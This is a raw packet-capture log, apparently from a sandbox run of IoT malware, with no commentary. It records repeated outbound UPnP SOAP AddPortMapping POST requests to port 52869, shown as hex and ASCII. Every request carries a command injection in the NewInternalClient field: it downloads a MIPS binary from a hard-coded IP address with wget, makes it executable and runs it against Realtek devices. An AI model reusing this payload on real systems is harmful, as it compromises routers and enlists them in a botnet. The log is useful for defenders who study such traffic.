                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:51.963041067 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:03.994692087 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:28.314086914 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:17.464518070 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      12192.168.2.1539780185.71.64.15752869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:26:42.598052979 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:45.819195986 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
